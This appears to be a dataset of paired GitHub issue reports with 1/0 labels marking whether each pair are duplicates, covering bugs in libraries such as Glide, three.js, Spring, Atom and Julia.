<p dir="auto">Porting TH operators is essential for code simplicity and performance reasons.</p> <p dir="auto">Porting guides and Q&amp;A are available in umbrella issue: <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="481740397" data-permission-text="Title is private" data-url="https://github.com/pytorch/pytorch/issues/24507" data-hovercard-type="issue" data-hovercard-url="/pytorch/pytorch/issues/24507/hovercard" href="https://github.com/pytorch/pytorch/issues/24507">#24507</a></p> <p dir="auto">Feel free to add <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/VitalyFedyunin/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/VitalyFedyunin">@VitalyFedyunin</a> as a reviewer to get a prioritized review.</p>
1
<p dir="auto">in the new version of the Glide 4.3 i'm trying to use it but it crash whenver i use it and whatever context i passed to it</p> <p dir="auto">this is the error showed to me</p> <div class="snippet-clipboard-content notranslate position-relative overflow-auto" data-snippet-clipboard-copy-content=" java.lang.AbstractMethodError: abstract method &quot;void com.bumptech.glide.module.RegistersComponents.registerComponents(android.content.Context, com.bumptech.glide.Glide, com.bumptech.glide.Registry)&quot;"><pre class="notranslate"><code class="notranslate"> java.lang.AbstractMethodError: abstract method "void com.bumptech.glide.module.RegistersComponents.registerComponents(android.content.Context, com.bumptech.glide.Glide, com.bumptech.glide.Registry)" </code></pre></div> <p dir="auto">this is my code i tired</p> <div class="snippet-clipboard-content notranslate position-relative overflow-auto" data-snippet-clipboard-copy-content="Glide.with(getApplicationContext()). load(url) .into(imageView);"><pre class="notranslate"><code class="notranslate">Glide.with(getApplicationContext()). load(url) .into(imageView); </code></pre></div> <p dir="auto">and</p> <div class="snippet-clipboard-content notranslate position-relative overflow-auto" data-snippet-clipboard-copy-content=" Glide.with(getContext()). load(url) .into(imageView);"><pre class="notranslate"><code class="notranslate"> Glide.with(getContext()). load(url) .into(imageView); </code></pre></div> <p dir="auto">and it give me that warning</p> <div class="snippet-clipboard-content notranslate position-relative overflow-auto" data-snippet-clipboard-copy-content="W/Glide: Failed to find GeneratedAppGlideModule. You should include an annotationProcessor compile dependency on com.github.bumptech.glide:compiler in your application and a @GlideModule annotated AppGlideModule implementation or LibraryGlideModules will be silently ignored"><pre class="notranslate"><code class="notranslate">W/Glide: Failed to find GeneratedAppGlideModule. You should include an annotationProcessor compile dependency on com.github.bumptech.glide:compiler in your application and a @GlideModule annotated AppGlideModule implementation or LibraryGlideModules will be silently ignored </code></pre></div> <p dir="auto">and the code in lib in gradle</p> <div class="snippet-clipboard-content notranslate position-relative overflow-auto" data-snippet-clipboard-copy-content="compile 'com.github.bumptech.glide:glide:4.3.1' annotationProcessor 'com.github.bumptech.glide:compiler:4.3.1'"><pre class="notranslate"><code class="notranslate">compile 'com.github.bumptech.glide:glide:4.3.1' annotationProcessor 'com.github.bumptech.glide:compiler:4.3.1' </code></pre></div> <p dir="auto"><a href="https://stackoverflow.com/questions/47327760/glide-crash-because-of-context-4-3-1" rel="nofollow">i posted it into stackoverflow also</a></p>
<p dir="auto"><strong>Glide Version</strong>: 4.0.0-RC0<br> <strong>Integration libraries</strong>: okhttp3-integration</p> <p dir="auto">In my gradle:</p> <div class="snippet-clipboard-content notranslate position-relative overflow-auto" data-snippet-clipboard-copy-content=" compile 'com.github.bumptech.glide:glide:4.0.0-RC0' annotationProcessor 'com.github.bumptech.glide:compiler:4.0.0-RC0' compile ('com.github.bumptech.glide:okhttp3-integration:1.5.0@aar'){ exclude group: 'glide-parent' }"><pre class="notranslate"><code class="notranslate"> compile 'com.github.bumptech.glide:glide:4.0.0-RC0' annotationProcessor 'com.github.bumptech.glide:compiler:4.0.0-RC0' compile ('com.github.bumptech.glide:okhttp3-integration:1.5.0@aar'){ exclude group: 'glide-parent' } </code></pre></div> <p dir="auto">My new Glide configuration:</p> <div class="snippet-clipboard-content notranslate position-relative overflow-auto" data-snippet-clipboard-copy-content="@GlideModule public class GlideConfiguration extends AppGlideModule { @Override public void applyOptions(Context context, GlideBuilder builder) { // Apply options to the builder here. RequestOptions requestOptions = new RequestOptions(); requestOptions.format(DecodeFormat.PREFER_ARGB_8888); builder.setDefaultRequestOptions(requestOptions); } @Override public void registerComponents(Context context, Registry registry) { final OkHttpClient.Builder builder = RestCoreRetrofit.getInitialOkHttpClientBuilder(); registry.append(GlideUrl.class, InputStream.class, new OkHttpUrlLoader.Factory(builder.build())); } }"><pre class="notranslate"><code class="notranslate">@GlideModule public class GlideConfiguration extends AppGlideModule { @Override public void applyOptions(Context context, GlideBuilder builder) { // Apply options to the builder here. RequestOptions requestOptions = new RequestOptions(); requestOptions.format(DecodeFormat.PREFER_ARGB_8888); builder.setDefaultRequestOptions(requestOptions); } @Override public void registerComponents(Context context, Registry registry) { final OkHttpClient.Builder builder = RestCoreRetrofit.getInitialOkHttpClientBuilder(); registry.append(GlideUrl.class, InputStream.class, new OkHttpUrlLoader.Factory(builder.build())); } } </code></pre></div> <p dir="auto">For information getInitialOkHttpClientBuilder():</p> <div class="snippet-clipboard-content notranslate position-relative overflow-auto" data-snippet-clipboard-copy-content="public static OkHttpClient.Builder getInitialOkHttpClientBuilder() { OkHttpClient.Builder httpClient = new OkHttpClient.Builder(); // Setup timeouts httpClient.connectTimeout(20, TimeUnit.SECONDS); httpClient.readTimeout(60, TimeUnit.SECONDS); httpClient.writeTimeout(60, TimeUnit.SECONDS); return httpClient; }"><pre class="notranslate"><code class="notranslate">public static OkHttpClient.Builder getInitialOkHttpClientBuilder() { OkHttpClient.Builder httpClient = new OkHttpClient.Builder(); // Setup timeouts httpClient.connectTimeout(20, TimeUnit.SECONDS); httpClient.readTimeout(60, TimeUnit.SECONDS); httpClient.writeTimeout(60, TimeUnit.SECONDS); return httpClient; } </code></pre></div> <p dir="auto">So, I've migrated v3 to v4 (<a href="http://bumptech.github.io/glide/doc/migrating.html" rel="nofollow">http://bumptech.github.io/glide/doc/migrating.html</a>). Migration and build are successful, but when I start my App, I have this crash now directly from the first GlideApp calling:</p> <p dir="auto">In my fragment:</p> <div class="snippet-clipboard-content notranslate position-relative overflow-auto" data-snippet-clipboard-copy-content="GlideApp.with(this) .load(resourceId) .into(mBgImageView);"><pre class="notranslate"><code class="notranslate">GlideApp.with(this) .load(resourceId) .into(mBgImageView); </code></pre></div> <blockquote> <p dir="auto">java.lang.AbstractMethodError: abstract method "void com.bumptech.glide.module.RegistersComponents.registerComponents(android.content.Context, com.bumptech.glide.Registry)"<br> at com.bumptech.glide.Glide.initGlide(Glide.java:217)<br> at com.bumptech.glide.Glide.get(Glide.java:154)<br> at com.bumptech.glide.Glide.getRetriever(Glide.java:513)<br> at com.bumptech.glide.Glide.with(Glide.java:585)<br> at com.myapp.util.GlideApp.with(GlideApp.java:92)</p> </blockquote> <p dir="auto">I can't understand why. I checked several times the documentation.</p> <p dir="auto">Thank you very much for your support guys!</p>
1
<h5 dir="auto">Description of the problem</h5> <p dir="auto">Currently when we want to change things inside a GLTF, for instance making meshes drop shadows, material props, etc, we have to do messy deep traversals.</p> <p dir="auto">GLTF loader already returns scenes, cameras and assets, but looking though the source it still knows about nodes and materials internally. If this could be exposed it would be very efficient for us to make changes:</p> <div class="highlight highlight-source-js notranslate position-relative overflow-auto" dir="auto" data-snippet-clipboard-copy-content="new GLTFLoader().load(url, gltf =&gt; { gltf.materials[&quot;base&quot;].roughness = 0.5 gltf.nodes[&quot;plane&quot;].castShadow = true })"><pre class="notranslate"><span class="pl-k">new</span> <span class="pl-v">GLTFLoader</span><span class="pl-kos">(</span><span class="pl-kos">)</span><span class="pl-kos">.</span><span class="pl-en">load</span><span class="pl-kos">(</span><span class="pl-s1">url</span><span class="pl-kos">,</span> <span class="pl-s1">gltf</span> <span class="pl-c1">=&gt;</span> <span class="pl-kos">{</span> <span class="pl-s1">gltf</span><span class="pl-kos">.</span><span class="pl-c1">materials</span><span class="pl-kos">[</span><span class="pl-s">"base"</span><span class="pl-kos">]</span><span class="pl-kos">.</span><span class="pl-c1">roughness</span> <span class="pl-c1">=</span> <span class="pl-c1">0.5</span> <span class="pl-s1">gltf</span><span class="pl-kos">.</span><span class="pl-c1">nodes</span><span class="pl-kos">[</span><span class="pl-s">"plane"</span><span class="pl-kos">]</span><span class="pl-kos">.</span><span class="pl-c1">castShadow</span> <span class="pl-c1">=</span> <span class="pl-c1">true</span> <span class="pl-kos">}</span><span class="pl-kos">)</span></pre></div> <p dir="auto">i have made a <a href="https://github.com/react-spring/gltfjsx">tool for gltf-jsx exports</a> that does something similar, and i've started implementing the above variant in a test, it looks like this now:</p> <p dir="auto"><a target="_blank" rel="noopener noreferrer nofollow" href="https://user-images.githubusercontent.com/2223602/73596350-ae603780-4521-11ea-81a3-92c28447aa8f.png"><img width="1272" alt="Screenshot 2020-02-01 at 18 35 42" src="https://user-images.githubusercontent.com/2223602/73596350-ae603780-4521-11ea-81a3-92c28447aa8f.png" style="max-width: 100%;"></a></p> <p dir="auto">would it be possible to add these two collections officially to the gltf result?</p>
<h5 dir="auto">Description of the problem</h5> <p dir="auto">I have a FBX model with several animations and for some reason each animation got a delay, like they are placed one after another (notice a duration here):</p> <p dir="auto"><a target="_blank" rel="noopener noreferrer nofollow" href="https://user-images.githubusercontent.com/790659/65268023-ed679080-db1e-11e9-9c78-4696a32e44af.png"><img src="https://user-images.githubusercontent.com/790659/65268023-ed679080-db1e-11e9-9c78-4696a32e44af.png" alt="Screen Shot 2019-09-19 at 20 18 38" style="max-width: 100%;"></a></p> <p dir="auto">I tried converting it with <code class="notranslate">fbx2gltf</code>, didn't succeeded to actually render it yet but at least timings look fine:<br> <a target="_blank" rel="noopener noreferrer nofollow" href="https://user-images.githubusercontent.com/790659/65268211-59e28f80-db1f-11e9-987a-7a88e67a48f2.png"><img src="https://user-images.githubusercontent.com/790659/65268211-59e28f80-db1f-11e9-987a-7a88e67a48f2.png" alt="Screen Shot 2019-09-19 at 20 17 39" style="max-width: 100%;"></a></p> <p dir="auto">Here's the model (pass: fbxbug):</p> <p dir="auto"><a href="https://github.com/mrdoob/three.js/files/3632583/female.zip">female.zip</a></p> <p dir="auto">And here's how one of animations looks like compared with Autodesk FBX Review:</p> <p dir="auto"><a href="https://github.com/mrdoob/three.js/files/3632603/Screen.Recording.2019-09-19.at.19.44.06.zip">Screen Recording 2019-09-19 at 19.44.06.zip</a></p> <h5 dir="auto">Three.js version</h5> <ul class="contains-task-list"> <li class="task-list-item"><input type="checkbox" id="" disabled="" class="task-list-item-checkbox"> Dev</li> <li class="task-list-item"><input type="checkbox" id="" disabled="" class="task-list-item-checkbox" checked=""> r108</li> <li class="task-list-item"><input type="checkbox" id="" disabled="" class="task-list-item-checkbox"> ...</li> </ul> <h5 dir="auto">Browser</h5> <ul class="contains-task-list"> <li class="task-list-item"><input type="checkbox" id="" disabled="" class="task-list-item-checkbox" checked=""> All of them</li> <li class="task-list-item"><input type="checkbox" id="" disabled="" class="task-list-item-checkbox"> Chrome</li> <li class="task-list-item"><input type="checkbox" id="" disabled="" class="task-list-item-checkbox"> Firefox</li> <li class="task-list-item"><input type="checkbox" id="" disabled="" class="task-list-item-checkbox"> Internet Explorer</li> </ul> <h5 dir="auto">OS</h5> <ul class="contains-task-list"> <li class="task-list-item"><input type="checkbox" id="" disabled="" class="task-list-item-checkbox" checked=""> All of them</li> <li class="task-list-item"><input type="checkbox" id="" disabled="" class="task-list-item-checkbox"> Windows</li> <li class="task-list-item"><input type="checkbox" id="" disabled="" class="task-list-item-checkbox"> macOS</li> <li class="task-list-item"><input type="checkbox" id="" disabled="" class="task-list-item-checkbox"> Linux</li> <li class="task-list-item"><input type="checkbox" id="" disabled="" class="task-list-item-checkbox"> Android</li> <li class="task-list-item"><input type="checkbox" id="" disabled="" class="task-list-item-checkbox"> iOS</li> </ul> <h5 dir="auto">Hardware Requirements (graphics card, VR Device, ...)</h5>
0
<p dir="auto">When I switch tasks Atom -&gt; other program -&gt; Atom my cursor is hidden, so I don't know where I'm typing. When I start typing and press backspace I'll see the cursor again.</p> <p dir="auto">Atom 0.153.0.de619a7 (git)<br> Linux</p>
<p dir="auto">I'm on Ubuntu 14.04 and every time I alt+tab or make Atom lose focus in any way, the cursor position disappears. I have to click on the window to make it reappear.</p>
1
<p dir="auto">I'm getting the error: "Error plug in failed to initialize // Testing Challenge "</p> <div class="snippet-clipboard-content notranslate position-relative overflow-auto" data-snippet-clipboard-copy-content="var Car = function() { //Change this constructor this.wheels = wheels; this.seats = seats; this.engines = engines; }; //Try it out here var myCar = new Car(3,2,1); // Only change code above this line (function() {return JSON.stringify(myCar);})();"><pre class="notranslate"><code class="notranslate">var Car = function() { //Change this constructor this.wheels = wheels; this.seats = seats; this.engines = engines; }; //Try it out here var myCar = new Car(3,2,1); // Only change code above this line (function() {return JSON.stringify(myCar);})(); </code></pre></div>
<p dir="auto">Can't run code because of this error error: plugin failed to initialize it is showing in the lower left corner. Tried different browsers, computer, and devices same error. Have a really slow internet connection</p>
1
<p dir="auto">It appears that the unit tests in e2e are sometimes failing due to a 60 minute timeout, but it does not appear to be being correctly applied.</p> <p dir="auto">Logs here:<br> <a href="https://console.developers.google.com/storage/browser/kubernetes-jenkins/pr-logs/0586d866de1b0ca888ad3de53ad41cdb2077dd0e/kubernetes-pull-test-unit-integration/10243/" rel="nofollow">https://console.developers.google.com/storage/browser/kubernetes-jenkins/pr-logs/0586d866de1b0ca888ad3de53ad41cdb2077dd0e/kubernetes-pull-test-unit-integration/10243/</a></p> <p dir="auto">The weird thing is that the logs show that the unit tests themselves only took the normal amount of time - ten minutes or so (14:38 - 14:50 in the logs). But I'm guessing there is an invisible delay before the first timestamp or after the last timestamp (or the 60 minute limit is not being correctly applied).</p> <p dir="auto">The wall clock time in between my request to retest and the failure result being posted was a little more than an hour (I think), so I think there is a silent delay somewhere.</p>
<p dir="auto">I'm not sure what happened, but our unit/integration tests started timing out recently (I mean build is timing out).</p> <div class="snippet-clipboard-content notranslate position-relative overflow-auto" data-snippet-clipboard-copy-content="I1221 17:31:43.944771 4488 genericapiserver.go:303] Node port range unspecified. Defaulting to 30000-32767. Build timed out (after 45 minutes). Marking the build as aborted. Build timed out (after 45 minutes). Marking the build as failed. FATAL: Unable to delete script file /tmp/hudson8166020313250965666.sh"><pre class="notranslate"><code class="notranslate">I1221 17:31:43.944771 4488 genericapiserver.go:303] Node port range unspecified. Defaulting to 30000-32767. Build timed out (after 45 minutes). Marking the build as aborted. Build timed out (after 45 minutes). Marking the build as failed. FATAL: Unable to delete script file /tmp/hudson8166020313250965666.sh </code></pre></div> <p dir="auto">An example failure:<br> <a href="https://pantheon.corp.google.com/storage/browser/kubernetes-jenkins/pr-logs/173718059d925d29c746b832c739058f10bbd1d6/kubernetes-pull-test-unit-integration/6967/?debugUI=DEVELOPERS" rel="nofollow">https://pantheon.corp.google.com/storage/browser/kubernetes-jenkins/pr-logs/173718059d925d29c746b832c739058f10bbd1d6/kubernetes-pull-test-unit-integration/6967/?debugUI=DEVELOPERS</a></p> <p dir="auto">@kubernetes/goog-testing <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ixdy/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ixdy">@ixdy</a> <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/spxtr/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/spxtr">@spxtr</a></p>
1
<div class="snippet-clipboard-content notranslate position-relative overflow-auto" data-snippet-clipboard-copy-content=" Process: com.jtv.androidframeworkdemo, PID: 23997 java.lang.NoSuchMethodError: No static method getFont(Landroid/content/Context;ILandroid/util/TypedValue;ILandroid/widget/TextView;)Landroid/graphics/Typeface; in class Landroid/support/v4/content/res/ResourcesCompat; or its super classes (declaration of 'android.support.v4.content.res.ResourcesCompat' appears in /data/app/com.jtv.androidframeworkdemo-1/base.apk) at android.support.v7.widget.TintTypedArray.getFont(TintTypedArray.java:119) at android.support.v7.widget.AppCompatTextHelper.updateTypefaceAndStyle(AppCompatTextHelper.java:208) at android.support.v7.widget.AppCompatTextHelper.loadFromAttributes(AppCompatTextHelper.java:110) at android.support.v7.widget.AppCompatTextHelperV17.loadFromAttributes(AppCompatTextHelperV17.java:38) at android.support.v7.widget.AppCompatTextView.&lt;init&gt;(AppCompatTextView.java:81) at android.support.v7.widget.AppCompatTextView.&lt;init&gt;(AppCompatTextView.java:71) at android.support.v7.app.AppCompatViewInflater.createView(AppCompatViewInflater.java:103) at android.support.v7.app.AppCompatDelegateImplV9.createView(AppCompatDelegateImplV9.java:1024) at android.support.v7.app.AppCompatDelegateImplV9.onCreateView(AppCompatDelegateImplV9.java:1081) at android.view.LayoutInflater.createViewFromTag(LayoutInflater.java:769) at android.view.LayoutInflater.createViewFromTag(LayoutInflater.java:727) at android.view.LayoutInflater.rInflate(LayoutInflater.java:858) at android.view.LayoutInflater.rInflateChildren(LayoutInflater.java:821) at android.view.LayoutInflater.rInflate(LayoutInflater.java:861) at android.view.LayoutInflater.rInflateChildren(LayoutInflater.java:821) at android.view.LayoutInflater.inflate(LayoutInflater.java:518) at android.view.LayoutInflater.inflate(LayoutInflater.java:426) at android.view.LayoutInflater.inflate(LayoutInflater.java:377) at android.view.View.inflate(View.java:21164) at com.jtv.android.activity.BaseActivity.onCreate(BaseActivity.java:48) at com.jtv.androidframeworkdemo.HomeActivity.onCreate(HomeActivity.java:49) at android.app.Activity.performCreate(Activity.java:6813) at android.app.Instrumentation.callActivityOnCreate(Instrumentation.java:1119) at android.app.ActivityThread.performLaunchActivity(ActivityThread.java:2802) at android.app.ActivityThread.handleLaunchActivity(ActivityThread.java:2921) at android.app.ActivityThread.-wrap12(ActivityThread.java) at android.app.ActivityThread$H.handleMessage(ActivityThread.java:1647) at android.os.Handler.dispatchMessage(Handler.java:102) at android.os.Looper.loop(Looper.java:159) at android.app.ActivityThread.main(ActivityThread.java:6355) at java.lang.reflect.Method.invoke(Native Method) at com.android.internal.os.ZygoteInit$MethodAndArgsCaller.run(ZygoteInit.java:1096) at com.android.internal.os.ZygoteInit.main(ZygoteInit.java:883)"><pre class="notranslate"><code class="notranslate"> Process: com.jtv.androidframeworkdemo, PID: 23997 java.lang.NoSuchMethodError: No static method getFont(Landroid/content/Context;ILandroid/util/TypedValue;ILandroid/widget/TextView;)Landroid/graphics/Typeface; in class Landroid/support/v4/content/res/ResourcesCompat; or its super classes (declaration of 'android.support.v4.content.res.ResourcesCompat' appears in /data/app/com.jtv.androidframeworkdemo-1/base.apk) at android.support.v7.widget.TintTypedArray.getFont(TintTypedArray.java:119) at android.support.v7.widget.AppCompatTextHelper.updateTypefaceAndStyle(AppCompatTextHelper.java:208) at android.support.v7.widget.AppCompatTextHelper.loadFromAttributes(AppCompatTextHelper.java:110) at android.support.v7.widget.AppCompatTextHelperV17.loadFromAttributes(AppCompatTextHelperV17.java:38) at android.support.v7.widget.AppCompatTextView.&lt;init&gt;(AppCompatTextView.java:81) at android.support.v7.widget.AppCompatTextView.&lt;init&gt;(AppCompatTextView.java:71) at android.support.v7.app.AppCompatViewInflater.createView(AppCompatViewInflater.java:103) at android.support.v7.app.AppCompatDelegateImplV9.createView(AppCompatDelegateImplV9.java:1024) at android.support.v7.app.AppCompatDelegateImplV9.onCreateView(AppCompatDelegateImplV9.java:1081) at android.view.LayoutInflater.createViewFromTag(LayoutInflater.java:769) at android.view.LayoutInflater.createViewFromTag(LayoutInflater.java:727) at android.view.LayoutInflater.rInflate(LayoutInflater.java:858) at android.view.LayoutInflater.rInflateChildren(LayoutInflater.java:821) at android.view.LayoutInflater.rInflate(LayoutInflater.java:861) at android.view.LayoutInflater.rInflateChildren(LayoutInflater.java:821) at android.view.LayoutInflater.inflate(LayoutInflater.java:518) at android.view.LayoutInflater.inflate(LayoutInflater.java:426) at android.view.LayoutInflater.inflate(LayoutInflater.java:377) at android.view.View.inflate(View.java:21164) at com.jtv.android.activity.BaseActivity.onCreate(BaseActivity.java:48) at com.jtv.androidframeworkdemo.HomeActivity.onCreate(HomeActivity.java:49) at android.app.Activity.performCreate(Activity.java:6813) at android.app.Instrumentation.callActivityOnCreate(Instrumentation.java:1119) at android.app.ActivityThread.performLaunchActivity(ActivityThread.java:2802) at android.app.ActivityThread.handleLaunchActivity(ActivityThread.java:2921) at android.app.ActivityThread.-wrap12(ActivityThread.java) at android.app.ActivityThread$H.handleMessage(ActivityThread.java:1647) at android.os.Handler.dispatchMessage(Handler.java:102) at android.os.Looper.loop(Looper.java:159) at android.app.ActivityThread.main(ActivityThread.java:6355) at java.lang.reflect.Method.invoke(Native Method) at com.android.internal.os.ZygoteInit$MethodAndArgsCaller.run(ZygoteInit.java:1096) at com.android.internal.os.ZygoteInit.main(ZygoteInit.java:883) </code></pre></div> <p dir="auto">04-25 21:48:19.975 1372-1408/? E/ActivityManager: handleShowAppErrorUi proc ProcessRecord{7db9670 23997:com.jtv.androidframeworkdemo/u0a457} died showBackground=false<br> 04-25 21:48:19.975 1372-1408/? E/ActivityManager: handleShowAppErrorUi isBackground=false mDebuggable=falseshowBackground=false<br> 04-25 21:48:19.984 536-536/? E/lowmemorykiller: Error writing /proc/23997/oom_score_adj; errno=22</p>
<p dir="auto">Can we expect HEIF support anytime soon, and do you know if Google plans to backport decoding natively and efficiently back to API 14+? I see they have HeifWriter in support libs for writing and encoding, but what about decode and Glide support?</p>
0
<p dir="auto">Challenge <a href="http://beta.freecodecamp.com/challenges/waypoint-use-a-css-class-to-style-an-element" rel="nofollow">http://beta.freecodecamp.com/challenges/waypoint-use-a-css-class-to-style-an-element</a> has an issue.</p> <p dir="auto">Solving this bonfire and attempting to move on produces a 502 Bad Gateway error.</p>
<p dir="auto">Challenge <a href="http://beta.freecodecamp.com/challenges/waypoint-use-a-css-class-to-style-an-element" rel="nofollow">http://beta.freecodecamp.com/challenges/waypoint-use-a-css-class-to-style-an-element</a> won't move on to next Waypoint. After changing the code as indicated and clicking the "Go to my next challenge" button, it goes to a 502 Bad Gateway page instead of going to the next Waypoint.</p> <p dir="auto">The Waypoint (Waypoint 10) is checked off on the map though, so it does know that the challenge has been completed, but it doesn't link to the next challenge.</p>
1
<p dir="auto">these classes cannot be found in the RC1 css file at <a href="http://netdna.bootstrapcdn.com/bootstrap/3.0.0-rc1/css/bootstrap.min.css" rel="nofollow">http://netdna.bootstrapcdn.com/bootstrap/3.0.0-rc1/css/bootstrap.min.css</a></p>
<p dir="auto">So as per the documentation, I tried using two different offsets for desktop and phone. But I could not find the col-lg-offset on the CDN hosted css file.</p> <p dir="auto"><a href="http://netdna.bootstrapcdn.com/bootstrap/3.0.0-rc1/css/bootstrap.min.css" rel="nofollow">http://netdna.bootstrapcdn.com/bootstrap/3.0.0-rc1/css/bootstrap.min.css</a></p> <p dir="auto">Am not sure if this is an issue or am I going wrong somewhere?</p>
1
<p dir="auto"><strong><a href="https://jira.spring.io/secure/ViewProfile.jspa?name=framiere" rel="nofollow">Florent Ramiere</a></strong> opened <strong><a href="https://jira.spring.io/browse/SPR-6902?redirect=false" rel="nofollow">SPR-6902</a></strong> and commented</p> <p dir="auto">When this method is executed</p> <div class="snippet-clipboard-content notranslate position-relative overflow-auto" data-snippet-clipboard-copy-content="@ExceptionHandler @ResponseBody public String dummyExceptionHandler(Exception e) { return e.getMessage(); }"><pre class="notranslate"><code class="notranslate">@ExceptionHandler @ResponseBody public String dummyExceptionHandler(Exception e) { return e.getMessage(); } </code></pre></div> <p dir="auto">Spring mvc tries to resolve the view using the method output --&gt; 404.<br> As the method is annotated with <code class="notranslate">@ResponseBody</code>, it should directly write the method output to the response.</p> <hr> <p dir="auto"><strong>Affects:</strong> 3.0.1</p> <p dir="auto"><strong>Attachments:</strong></p> <ul dir="auto"> <li><a href="https://jira.spring.io/secure/attachment/17505/spr-6902.zip" rel="nofollow">spr-6902.zip</a> (<em>32.61 kB</em>)</li> </ul> <p dir="auto"><strong>Issue Links:</strong></p> <ul dir="auto"> <li><a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="398105129" data-permission-text="Title is private" data-url="https://github.com/spring-projects/spring-framework/issues/11850" data-hovercard-type="issue" data-hovercard-url="/spring-projects/spring-framework/issues/11850/hovercard" href="https://github.com/spring-projects/spring-framework/issues/11850">#11850</a> AnnotationMethodHandlerAdapter and AnnotationMethodHandlerExceptionResolver should supports MappingJacksonHttpMessageConverter by default (<em><strong>"is duplicated by"</strong></em>)</li> <li><a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="398109214" data-permission-text="Title is private" data-url="https://github.com/spring-projects/spring-framework/issues/12476" data-hovercard-type="issue" data-hovercard-url="/spring-projects/spring-framework/issues/12476/hovercard" href="https://github.com/spring-projects/spring-framework/issues/12476">#12476</a> Add support for <code class="notranslate">@Request-</code>/<code class="notranslate">@ResponseBody</code> to <code class="notranslate">@ExceptionHandler</code> methods (<em><strong>"is duplicated by"</strong></em>)</li> <li><a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="398103691" data-permission-text="Title is private" data-url="https://github.com/spring-projects/spring-framework/issues/11626" data-hovercard-type="issue" data-hovercard-url="/spring-projects/spring-framework/issues/11626/hovercard" href="https://github.com/spring-projects/spring-framework/issues/11626">#11626</a> <code class="notranslate">@ResponseStatus</code> does not work with <code class="notranslate">@ExceptionHandler</code></li> </ul> <p dir="auto"><strong>Referenced from:</strong> commits <a class="commit-link" data-hovercard-type="commit" data-hovercard-url="https://github.com/spring-projects/spring-framework/commit/157623b47fa3bc9fd8d9a3d8803bcf6bf9a50b80/hovercard" href="https://github.com/spring-projects/spring-framework/commit/157623b47fa3bc9fd8d9a3d8803bcf6bf9a50b80"><tt>157623b</tt></a>, <a class="commit-link" data-hovercard-type="commit" data-hovercard-url="https://github.com/spring-projects/spring-framework/commit/7f8c91a52dcea4810acebb0f9ebe86233a3d2063/hovercard" href="https://github.com/spring-projects/spring-framework/commit/7f8c91a52dcea4810acebb0f9ebe86233a3d2063"><tt>7f8c91a</tt></a></p> <p dir="auto">0 votes, 8 watchers</p>
<p dir="auto"><strong><a href="https://jira.spring.io/secure/ViewProfile.jspa?name=zyzjaffery" rel="nofollow">Yaozong Zhu</a></strong> opened <strong><a href="https://jira.spring.io/browse/SPR-4759?redirect=false" rel="nofollow">SPR-4759</a></strong> and commented</p> <p dir="auto">I am trying to integrate my tests into Spring 2.5 availing of TestContext annotations. But I met a support issue. The followings are relevant codes:</p> <p dir="auto"><code class="notranslate">@RunWith</code>(SpringJUnit4ClassRunner.class)<br> <code class="notranslate">@TestExecutionListeners</code>(value = {<br> DependencyInjectionTestExecutionListener.class,<br> DirtiesContextTestExecutionListener.class,<br> TransactionalTestExecutionListener.class<br> })<br> <code class="notranslate">@ContextConfiguration</code>(locations = {<br> "classpath:/applicationContext-resources.xml",<br> "classpath*:/applicationContext.xml"<br> }, inheritLocations = true)<br> <code class="notranslate">@TransactionConfiguration</code>(transactionManager = "transactionManager", defaultRollback = true)<br> <code class="notranslate">@Transactional</code><br> public abstract class BaseTestCase extends AbstractJUnit4SpringContextTests {...}</p> <p dir="auto"><code class="notranslate">@ContextConfiguration</code>(locations = {<br> "classpath:/applicationContext-jmx.xml",<br> "/WEB-INF/applicationContext*.xml",<br> "/WEB-INF/dispatcher-servlet.xml"<br> }, inheritLocations = true)<br> public abstract class BaseWebControllerTestCase extends BaseTestCase{...}</p> <p dir="auto">public class UserFormControllerTest extends BaseWebControllerTestCase{<br> <code class="notranslate">@Autowired</code><br> private UserFormController c = null;</p> <p dir="auto"><code class="notranslate">@Test</code><br> ...<br> }</p> <p dir="auto">java.lang.IllegalStateException: WebApplicationObjectSupport instance [xxx.UserFormController@123961b] does not run in a WebApplicationContext but in: org.springframework.context.support.GenericApplicationContext@1fc2fb: display name [org.springframework.context.support.GenericApplicationContext@1fc2fb]; startup date [Mon Apr 28 15:35:37 BST 2008]; root of context hierarchy<br> at org.springframework.web.context.support.WebApplicationObjectSupport.getWebApplicationContext(WebApplicationObjectSupport.java:101)<br> at org.springframework.web.context.support.WebApplicationObjectSupport.getServletContext(WebApplicationObjectSupport.java:115)<br> ...</p> <hr> <p dir="auto"><strong>Affects:</strong> 2.5.2</p> <p dir="auto"><strong>Issue Links:</strong></p> <ul dir="auto"> <li><a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="398091548" data-permission-text="Title is private" data-url="https://github.com/spring-projects/spring-framework/issues/9917" data-hovercard-type="issue" data-hovercard-url="/spring-projects/spring-framework/issues/9917/hovercard" href="https://github.com/spring-projects/spring-framework/issues/9917">#9917</a> Support loading WebApplicationContexts with the TestContext Framework (<em><strong>"duplicates"</strong></em>)</li> </ul> <p dir="auto">1 votes, 1 watchers</p>
0
<p dir="auto">then can't call rand(ceil(num))</p>
<p dir="auto">This should work:</p> <p dir="auto">julia&gt; a = rand(1e6)<br> no method rand(Float64,)<br> in method_missing, boot.j:250<br> in run_repl, /home/stephan/julia/j/client.j:23<br> in _start, /home/stephan/julia/j/client.j:153</p>
1
